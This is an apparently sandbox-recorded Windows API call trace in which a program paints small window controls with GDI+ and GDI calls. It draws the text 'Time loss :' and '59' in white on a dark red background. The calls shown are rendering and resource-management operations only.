[0286.205] GdipCreateMatrix (matrix=0x2ebb80) returned 0x0
[0286.205] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.205] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebbe8) returned 0x0
[0286.205] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.205] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.205] LocalFree (hMem=0x1de51510) returned 0x0
[0286.206] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.206] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc50) returned 0x0
[0286.206] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.206] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc58) returned 0x0
[0286.206] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.207] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.207] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.207] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.207] SaveDC (hdc=0x2010b40) returned 1
[0286.207] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x274c7b0 | out: lppt=0x274c7b0) returned 1
[0286.208] GetTextAlign (hdc=0x2010b40) returned 0x0
[0286.208] GetTextColor (hdc=0x2010b40) returned 0x0
[0286.208] SetTextColor (hdc=0x2010b40, color=0xffff) returned 0x0
[0286.208] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.208] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eb820 | out: pv=0x2eb820) returned 92
[0286.209] SelectObject (hdc=0x2010b40, h=0x50a0b98) returned 0x18a002e
[0286.209] GetBkMode (hdc=0x2010b40) returned 2
[0286.209] SetBkMode (hdc=0x2010b40, mode=1) returned 2
[0286.209] DrawTextExW (in: hdc=0x2010b40, lpchText="Time loss :", cchText=11, lprc=0x2ebc78, format=0x2010, lpdtp=0x274c9b0 | out: lpchText="Time loss :", lprc=0x2ebc78) returned 14
[0286.210] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.210] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.210] GetDC (hWnd=0x0) returned 0x1010a48
[0286.211] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ebd28) returned 0x0
[0286.211] GdipGetFontHeight (font=0x1c5af4d0, graphics=0x1cb7d7c0, height=0x2ebd24) returned 0x0
[0286.211] GdipDeleteGraphics (graphics=0x1cb7d7c0) returned 0x0
[0286.211] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0286.211] GetDC (hWnd=0x0) returned 0x1010a48
[0286.212] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ebd28) returned 0x0
[0286.212] GdipGetFontHeight (font=0x1c5af4d0, graphics=0x1cb7d7c0, height=0x2ebd24) returned 0x0
[0286.212] GdipDeleteGraphics (graphics=0x1cb7d7c0) returned 0x0
[0286.212] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0286.212] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.213] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.213] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.213] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.213] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebbd8) returned 0x0
[0286.213] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.213] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.214] LocalFree (hMem=0x1de51510) returned 0x0
[0286.214] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.214] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.214] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.214] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.214] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.215] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.215] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.215] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.215] SaveDC (hdc=0x2010b40) returned 1
[0286.215] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x274cd98 | out: lppt=0x274cd98) returned 1
[0286.216] IsAppThemed () returned 0x1
[0286.216] GetThemeAppProperties () returned 0x3
[0286.216] GetThemeAppProperties () returned 0x3
[0286.216] DrawThemeBackground () returned 0x0
[0286.216] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.216] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.216] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.216] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.217] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.217] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.217] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebbd8) returned 0x0
[0286.217] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.217] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.217] LocalFree (hMem=0x1de51510) returned 0x0
[0286.217] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.217] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.218] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.218] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.218] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.218] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.218] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.218] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.219] SaveDC (hdc=0x2010b40) returned 1
[0286.219] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x274d1f0 | out: lppt=0x274d1f0) returned 1
[0286.219] IsAppThemed () returned 0x1
[0286.219] GetThemeAppProperties () returned 0x3
[0286.219] GetThemeAppProperties () returned 0x3
[0286.219] DrawThemeBackground () returned 0x0
[0286.219] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.219] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.220] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.220] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.220] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.220] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.220] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebbd8) returned 0x0
[0286.220] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.220] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.221] LocalFree (hMem=0x1de51510) returned 0x0
[0286.221] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.221] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.221] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.221] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.221] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.222] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.222] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.222] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.222] SaveDC (hdc=0x2010b40) returned 1
[0286.222] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x274d648 | out: lppt=0x274d648) returned 1
[0286.222] IsAppThemed () returned 0x1
[0286.222] GetThemeAppProperties () returned 0x3
[0286.222] GetThemeAppProperties () returned 0x3
[0286.222] DrawThemeBackground () returned 0x0
[0286.223] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.223] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.223] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0286.223] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=0) returned 0x3080b87
[0286.223] SelectPalette (hdc=0x2010b40, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.224] EndPaint (hWnd=0x2027a, lpPaint=0x2ebfb8) returned 1
[0286.224] BeginPaint (in: hWnd=0x40298, lpPaint=0x2ebfc8 | out: lpPaint=0x2ebfc8) returned 0x2010b40
[0286.224] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.224] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.224] CreateCompatibleDC (hdc=0x2010b40) returned 0x190107be
[0286.225] SelectObject (hdc=0x190107be, h=0xb0507c1) returned 0x185000f
[0286.225] GdipCreateFromHDC (hdc=0x190107be, graphics=0x2ebf48) returned 0x0
[0286.225] GdipTranslateWorldTransform (graphics=0x1c5a8050, dx=0x7fef04ddf12, dy=0x4af70916f6e6, order=0x0) returned 0x0
[0286.225] GdipSetClipRectI (graphics=0x1c5a8050, x=0, y=0, width=27, height=20, combineMode=0x0) returned 0x0
[0286.225] GdipCreateMatrix (matrix=0x2ebf70) returned 0x0
[0286.225] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.226] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebfd8) returned 0x0
[0286.226] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.226] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.226] LocalFree (hMem=0x1de51510) returned 0x0
[0286.226] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.226] GdipCreateRegion (region=0x2ebf70) returned 0x0
[0286.226] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.227] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ebfd0) returned 0x0
[0286.227] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ec070) returned 0x0
[0286.227] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0286.227] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0286.227] GetSystemMetrics (nIndex=42) returned 0
[0286.227] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ebe70, nMaxCount=3 | out: lpString="59") returned 2
[0286.227] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ebe70) returned 0x2
[0286.227] GetClientRect (in: hWnd=0x40298, lpRect=0x2ec018 | out: lpRect=0x2ec018) returned 1
[0286.227] GdipCreateRegion (region=0x2ebc00) returned 0x0
[0286.228] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a84e0) returned 0x0
[0286.228] GdipCreateMatrix (matrix=0x2ebc00) returned 0x0
[0286.228] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.228] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebc68) returned 0x0
[0286.228] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.228] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.229] LocalFree (hMem=0x1de51510) returned 0x0
[0286.229] GdipCombineRegionRegion (region=0x1c5a84e0, region2=0x1c5a8420, combineMode=0x1) returned 0x0
[0286.229] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.229] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.229] LocalFree (hMem=0x1de51510) returned 0x0
[0286.229] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.230] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebcd0) returned 0x0
[0286.230] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebc90) returned 0x0
[0286.230] GdipGetRegionHRgn (region=0x1c5a84e0, graphics=0x1c5a8050, hRgn=0x2ebc90) returned 0x0
[0286.230] GdipDeleteRegion (region=0x1c5a84e0) returned 0x0
[0286.230] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebcd8) returned 0x0
[0286.230] GetCurrentObject (hdc=0x190107be, type=0x1) returned 0x1b00017
[0286.231] GetCurrentObject (hdc=0x190107be, type=0x2) returned 0x1900010
[0286.231] GetCurrentObject (hdc=0x190107be, type=0x7) returned 0xb0507c1
[0286.231] GetCurrentObject (hdc=0x190107be, type=0x6) returned 0x18a002e
[0286.231] SaveDC (hdc=0x190107be) returned 1
[0286.231] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x43040b86
[0286.231] GetClipRgn (hdc=0x190107be, hrgn=0x43040b86) returned 0
[0286.232] SelectClipRgn (hdc=0x190107be, hrgn=0x25040b99) returned 2
[0286.232] DeleteObject (ho=0x43040b86) returned 1
[0286.232] DeleteObject (ho=0x25040b99) returned 1
[0286.232] OffsetViewportOrgEx (in: hdc=0x190107be, x=0, y=0, lppt=0x274dd38 | out: lppt=0x274dd38) returned 1
[0286.232] GetNearestColor (hdc=0x190107be, color=0x80) returned 0x80
[0286.232] CreateSolidBrush (color=0x80) returned 0x121007d3
[0286.233] FillRect (hDC=0x190107be, lprc=0x2ebd08, hbr=0x121007d3) returned 1
[0286.233] DeleteObject (ho=0x121007d3) returned 1
[0286.233] RestoreDC (hdc=0x190107be, nSavedDC=-1) returned 1
[0286.233] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x190107be) returned 0x0
[0286.233] GdipRestoreGraphics (graphics=0x1c5a8050, state=0xfffffffffd1c0dbd) returned 0x0
[0286.234] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.234] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0286.234] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0286.234] GetSystemMetrics (nIndex=42) returned 0
[0286.234] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ebe70, nMaxCount=3 | out: lpString="59") returned 2
[0286.234] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ebe70) returned 0x2
[0286.234] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebe68) returned 0x0
[0286.234] GetCurrentObject (hdc=0x190107be, type=0x1) returned 0x1b00017
[0286.234] GetCurrentObject (hdc=0x190107be, type=0x2) returned 0x1900010
[0286.235] GetCurrentObject (hdc=0x190107be, type=0x7) returned 0xb0507c1
[0286.235] GetCurrentObject (hdc=0x190107be, type=0x6) returned 0x18a002e
[0286.235] SaveDC (hdc=0x190107be) returned 1
[0286.235] GetNearestColor (hdc=0x190107be, color=0xffffff) returned 0xffffff
[0286.235] RestoreDC (hdc=0x190107be, nSavedDC=-1) returned 1
[0286.236] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x190107be) returned 0x0
[0286.236] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0286.236] AdjustWindowRectEx (in: lpRect=0x2ebd18, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ebd18) returned 1
[0286.237] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ebd78) returned 0x0
[0286.238] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebd58) returned 0x0
[0286.238] GetCurrentObject (hdc=0x190107be, type=0x1) returned 0x1b00017
[0286.238] GetCurrentObject (hdc=0x190107be, type=0x2) returned 0x1900010
[0286.239] GetCurrentObject (hdc=0x190107be, type=0x7) returned 0xb0507c1
[0286.239] GetCurrentObject (hdc=0x190107be, type=0x6) returned 0x18a002e
[0286.239] SaveDC (hdc=0x190107be) returned 1
[0286.239] GetTextAlign (hdc=0x190107be) returned 0x0
[0286.239] GetTextColor (hdc=0x190107be) returned 0x0
[0286.239] SetTextColor (hdc=0x190107be, color=0xffffff) returned 0x0
[0286.240] GetCurrentObject (hdc=0x190107be, type=0x6) returned 0x18a002e
[0286.240] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eb890 | out: pv=0x2eb890) returned 92
[0286.240] SelectObject (hdc=0x190107be, h=0x1a0a0256) returned 0x18a002e
[0286.240] GetBkMode (hdc=0x190107be) returned 2
[0286.241] SetBkMode (hdc=0x190107be, mode=1) returned 2
[0286.241] DrawTextExW (in: hdc=0x190107be, lpchText="59", cchText=2, lprc=0x2ebce8, format=0x0, lpdtp=0x274e5c8 | out: lpchText="59", lprc=0x2ebce8) returned 20
[0286.243] RestoreDC (hdc=0x190107be, nSavedDC=-1) returned 1
[0286.243] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x190107be) returned 0x0
[0286.244] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebf88) returned 0x0
[0286.244] BitBlt (hdc=0x2010b40, x=0, y=0, cx=27, cy=20, hdcSrc=0x190107be, x1=0, y1=0, rop=0xcc0020) returned 1
[0286.244] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x190107be) returned 0x0
[0286.244] SelectPalette (hdc=0x2010b40, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.244] SelectObject (hdc=0x190107be, h=0x185000f) returned 0xb0507c1
[0286.245] DeleteDC (hdc=0x190107be) returned 1
[0286.245] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.245] EndPaint (hWnd=0x40298, lpPaint=0x2ebf68) returned 1
[0286.245] BeginPaint (in: hWnd=0x202a0, lpPaint=0x2ebfc8 | out: lpPaint=0x2ebfc8) returned 0x2010a5c
[0286.245] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.246] SelectPalette (hdc=0x2010a5c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.246] CreateCompatibleDC (hdc=0x2010a5c) returned 0x1c0107be
[0286.246] SelectObject (hdc=0x1c0107be, h=0xb0507c1) returned 0x185000f
[0286.246] GdipCreateFromHDC (hdc=0x1c0107be, graphics=0x2ebf48) returned 0x0
[0286.247] GdipTranslateWorldTransform (graphics=0x1c5a8050, dx=0x7fef04ddf12, dy=0x4af70916f6e6, order=0x0) returned 0x0
[0286.247] GdipSetClipRectI (graphics=0x1c5a8050, x=0, y=0, width=13, height=20, combineMode=0x0) returned 0x0
[0286.247] GdipCreateMatrix (matrix=0x2ebf70) returned 0x0
[0286.247] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.247] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebfd8) returned 0x0
[0286.247] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.248] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.248] LocalFree (hMem=0x1de51510) returned 0x0
[0286.248] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.248] GdipCreateRegion (region=0x2ebf70) returned 0x0
[0286.248] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.248] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ebfd0) returned 0x0
[0286.249] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ec070) returned 0x0
[0286.249] GetWindowTextLengthW (hWnd=0x202a0) returned 1
[0286.249] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1
[0286.249] GetSystemMetrics (nIndex=42) returned 0
[0286.249] GetWindowTextW (in: hWnd=0x202a0, lpString=0x2ebe70, nMaxCount=2 | out: lpString=":") returned 1
[0286.249] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0xd, wParam=0x2, lParam=0x2ebe70) returned 0x1
[0286.249] GetClientRect (in: hWnd=0x202a0, lpRect=0x2ec018 | out: lpRect=0x2ec018) returned 1
[0286.249] GdipCreateRegion (region=0x2ebc00) returned 0x0
[0286.250] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a84e0) returned 0x0
[0286.250] GdipCreateMatrix (matrix=0x2ebc00) returned 0x0
[0286.250] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.250] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebc68) returned 0x0
[0286.250] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.250] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.250] LocalFree (hMem=0x1de51510) returned 0x0
[0286.250] GdipCombineRegionRegion (region=0x1c5a84e0, region2=0x1c5a8420, combineMode=0x1) returned 0x0
[0286.251] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.251] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.251] LocalFree (hMem=0x1de51510) returned 0x0
[0286.251] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.251] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebcd0) returned 0x0
[0286.251] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebc90) returned 0x0
[0286.251] GdipGetRegionHRgn (region=0x1c5a84e0, graphics=0x1c5a8050, hRgn=0x2ebc90) returned 0x0
[0286.252] GdipDeleteRegion (region=0x1c5a84e0) returned 0x0
[0286.252] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebcd8) returned 0x0
[0286.252] GetCurrentObject (hdc=0x1c0107be, type=0x1) returned 0x1b00017
[0286.252] GetCurrentObject (hdc=0x1c0107be, type=0x2) returned 0x1900010
[0286.252] GetCurrentObject (hdc=0x1c0107be, type=0x7) returned 0xb0507c1
[0286.252] GetCurrentObject (hdc=0x1c0107be, type=0x6) returned 0x18a002e
[0286.253] SaveDC (hdc=0x1c0107be) returned 1
[0286.253] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x26040b99
[0286.253] GetClipRgn (hdc=0x1c0107be, hrgn=0x26040b99) returned 0
[0286.253] SelectClipRgn (hdc=0x1c0107be, hrgn=0x45040b86) returned 2
[0286.253] DeleteObject (ho=0x26040b99) returned 1
[0286.253] DeleteObject (ho=0x45040b86) returned 1
[0286.254] OffsetViewportOrgEx (in: hdc=0x1c0107be, x=0, y=0, lppt=0x274ece8 | out: lppt=0x274ece8) returned 1
[0286.254] GetNearestColor (hdc=0x1c0107be, color=0x80) returned 0x80
[0286.254] CreateSolidBrush (color=0x80) returned 0x131007d3
[0286.254] FillRect (hDC=0x1c0107be, lprc=0x2ebd08, hbr=0x131007d3) returned 1
[0286.254] DeleteObject (ho=0x131007d3) returned 1
[0286.254] RestoreDC (hdc=0x1c0107be, nSavedDC=-1) returned 1
[0286.255] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1c0107be) returned 0x0
[0286.255] GdipRestoreGraphics (graphics=0x1c5a8050, state=0xfffffffffd1a0dbd) returned 0x0
[0286.255] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.255] GetWindowTextLengthW (hWnd=0x202a0) returned 1
[0286.255] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1
[0286.255] GetSystemMetrics (nIndex=42) returned 0
[0286.255] GetWindowTextW (in: hWnd=0x202a0, lpString=0x2ebe70, nMaxCount=2 | out: lpString=":") returned 1
[0286.255] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0xd, wParam=0x2, lParam=0x2ebe70) returned 0x1
[0286.255] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebe68) returned 0x0
[0286.256] GetCurrentObject (hdc=0x1c0107be, type=0x1) returned 0x1b00017
[0286.256] GetCurrentObject (hdc=0x1c0107be, type=0x2) returned 0x1900010
[0286.256] GetCurrentObject (hdc=0x1c0107be, type=0x7) returned 0xb0507c1
[0286.256] GetCurrentObject (hdc=0x1c0107be, type=0x6) returned 0x18a002e
[0286.256] SaveDC (hdc=0x1c0107be) returned 1
[0286.256] GetNearestColor (hdc=0x1c0107be, color=0xffffff) returned 0xffffff
[0286.257] RestoreDC (hdc=0x1c0107be, nSavedDC=-1) returned 1
[0286.257] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1c0107be) returned 0x0
[0286.257] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0286.257] AdjustWindowRectEx (in: lpRect=0x2ebd18, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ebd18) returned 1
[0286.257] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ebd78) returned 0x0
[0286.258] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebd58) returned 0x0
[0286.258] GetCurrentObject (hdc=0x1c0107be, type=0x1) returned 0x1b00017
[0286.258] GetCurrentObject (hdc=0x1c0107be, type=0x2) returned 0x1900010
[0286.258] GetCurrentObject (hdc=0x1c0107be, type=0x7) returned 0xb0507c1
[0286.258] GetCurrentObject (hdc=0x1c0107be, type=0x6) returned 0x18a002e
[0286.259] SaveDC (hdc=0x1c0107be) returned 1
[0286.259] GetTextAlign (hdc=0x1c0107be) returned 0x0
[0286.259] GetTextColor (hdc=0x1c0107be) returned 0x0
[0286.259] SetTextColor (hdc=0x1c0107be, color=0xffffff) returned 0x0
[0286.259] GetCurrentObject (hdc=0x1c0107be, type=0x6) returned 0x18a002e
[0286.260] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eb890 | out: pv=0x2eb890) returned 92
[0286.260] SelectObject (hdc=0x1c0107be, h=0x1a0a0256) returned 0x18a002e
[0286.260] GetBkMode (hdc=0x1c0107be) returned 2
[0286.261] SetBkMode (hdc=0x1c0107be, mode=1) returned 2
[0286.261] DrawTextExW (in: hdc=0x1c0107be, lpchText=":", cchText=1, lprc=0x2ebce8, format=0x0, lpdtp=0x274f578 | out: lpchText=":", lprc=0x2ebce8) returned 20
[0286.262] RestoreDC (hdc=0x1c0107be, nSavedDC=-1) returned 1
[0286.262] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1c0107be) returned 0x0
[0286.262] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebf88) returned 0x0
[0286.262] BitBlt (hdc=0x2010a5c, x=0, y=0, cx=13, cy=20, hdcSrc=0x1c0107be, x1=0, y1=0, rop=0xcc0020) returned 1
[0286.263] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1c0107be) returned 0x0
[0286.263] SelectPalette (hdc=0x2010a5c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.263] SelectObject (hdc=0x1c0107be, h=0x185000f) returned 0xb0507c1
[0286.263] DeleteDC (hdc=0x1c0107be) returned 1
[0286.263] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.263] EndPaint (hWnd=0x202a0, lpPaint=0x2ebf68) returned 1
[0286.264] BeginPaint (in: hWnd=0x202a2, lpPaint=0x2ebfc8 | out: lpPaint=0x2ebfc8) returned 0x1010a48
[0286.264] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.264] SelectPalette (hdc=0x1010a48, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.264] CreateCompatibleDC (hdc=0x1010a48) returned 0x1f0107be
[0286.265] SelectObject (hdc=0x1f0107be, h=0xb0507c1) returned 0x185000f
[0286.265] GdipCreateFromHDC (hdc=0x1f0107be, graphics=0x2ebf48) returned 0x0
[0286.265] GdipTranslateWorldTransform (graphics=0x1c5a8050, dx=0x7fef04ddf12, dy=0x4af70916f6e6, order=0x0) returned 0x0
[0286.265] GdipSetClipRectI (graphics=0x1c5a8050, x=0, y=0, width=13, height=20, combineMode=0x0) returned 0x0
[0286.265] GdipCreateMatrix (matrix=0x2ebf70) returned 0x0
[0286.266] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
